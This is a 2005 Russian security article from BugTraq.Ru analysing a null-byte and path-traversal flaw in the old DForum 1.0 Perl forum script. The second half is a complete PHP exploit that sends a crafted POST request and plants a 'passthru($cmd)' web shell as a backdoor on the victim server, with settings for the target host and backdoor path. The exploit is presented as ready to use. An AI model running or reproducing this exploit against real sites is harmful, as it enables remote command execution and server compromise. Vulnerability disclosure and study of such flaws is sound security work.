BugTraq.Ru
Русский BugTraq
https://bugtraq.ru/library/www/dforum.html

"Старый добрый" DForum
4пальца
Опубликовано: dl, 15.05.05 19:29

Удивительное дело, сообщество вебмастеров в интернете на редкость консервативно. Многие скрипты, которые были созданы в конце девяностых, до сих пор находят себе применение на самых разных сайтах. А старые скрипты - это старые болячки, как я писал в одной из статей. Попался мне очередной кладезь программистской мудрости, DForum 1.0, автор которого уже свернул свой веб-сайт, видимо, исчерпав свой талант на означенном творении. Заглянул я в код форума, forum.pl, и повеяло на меня какой-то прелостью...

Меня заинтересовал процесс добавления сообщений. Скрипт складывает их в папку forumdata в виде отдельных файлов. Добавление сообщений происходит в два этапа. На первом этапе пользователь заполняет поля добавления сообщения, на втором происходит предпросмотр, а введённые данные, соответственно, содержатся в странице в виде скрытых полей. Главный просчёт разработчика в том, что скрипт на первом этапе вычисляет текущую дату и записывает её в виде скрытого поля, используя потом в имени файла сообщения. Хотя, замечу интересующимся, это не единственный просчёт:)

Итак, скрипт записывает сообщение. После инициализации хэш-массива входных переменных $in мы попадаем в функцию postMessage.

$name = $in{'name'};
$email = $in{'email'};
$date = $in{'date'};
$headerfile = $in{'headerfile'};
$reply = $in{'reply'};

Далее следует кое-какая фильтрация ввода, относящаяся к теме сообщения и его тексту. Предположим, что переменная $in{'post'} в данный момент равна thread. Тогда последует вызов функции postThread и начнётся самое интересное.

После неинтересных нам обновлений счётчика и базы месяцев для архива мы видим то, что должно спровоцировать любого хакера:

open(HEADER,">$forumdir/$headerfile.txt");
unshift (@headers, "$num\_$subject\_$name\_$date\_0\n");
foreach $headerline (@headers) {
	print HEADER $headerline;
}
close(HEADER);

Напомню, что у языка Perl есть особенность не переваривать машинный нуль. При попадании 0x00 в имя файла для выполнения над ним операций, строка ровно на этом символе и "откусывается". Это связано с реализацией языка на Си, который с этим символом так же не в ладах. Такое положение дел означает, поскольку фильтрация на переменную $headerfile отсутствует,

То есть, мы можем в какую-нибудь из нефильтруемых переменных поместить наш PHP-код и уповая на определённые настройки веб-сервера рассчитывать на выполнение нашего скрипта на сервере.

Далее привожу свой exploit этой уязвимости. Он позволяет установить backdoor с произвольным кодом на сервер жертвы. Настройками являются хост и порт сервера жертвы, виртуальный путь к скрипту форума и относительный путь к backdoor. Рекомендую поварьировать последнюю переменную, поскольку пути на серверах к папке с сообщениями forumdata очень разнятся. При стандартных настройках уровень вложенности для пути к бэкдору должен быть на два выше виртуального пути к скрипту (чтобы выйти за пределы папки cgi-bin, которая требует для выполнения легальных путей к интерпретатору).

<?
$host="127.0.0.1";
$pathtoscript="/cgi-bin/dforum/forum.pl";
$port ="80";

$backdoorfilename="../../../../forum.php";
$backdoorcode=
'
<pre>
<?
 echo passthru($cmd);
?>
</pre>
';

// -------------------------------------------------

$sock = fsockopen($host, $port);

$code =  "date=PUSTO&headerfile=${backdoorfilename}%00%00".
 "&name=".urlencode($backdoorcode)."&email=&subject=PUSTO&body=PUSTO&post=thread";
// в файл запишется: "$num\_$subject\_$name\_$date\_0\n"

$sizecode=strlen($code);

$send =
"POST ${pathtoscript} HTTP/1.1
User-Agent: NBP
Host: ${host}:${port}
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: ${sizecode}

${code}";

fputs($sock, $send);

$ispage=0;
while($input = fgets($sock))
{
 echo $input;
}

//echo $send;

fclose($sock);
?>
12.05.2005
4пальца


обсудить  |  все отзывы (0)

[20571; 3; 7.66]




  Copyright © 2001-2024 Dmitry Leonov Design: Vadim Derkach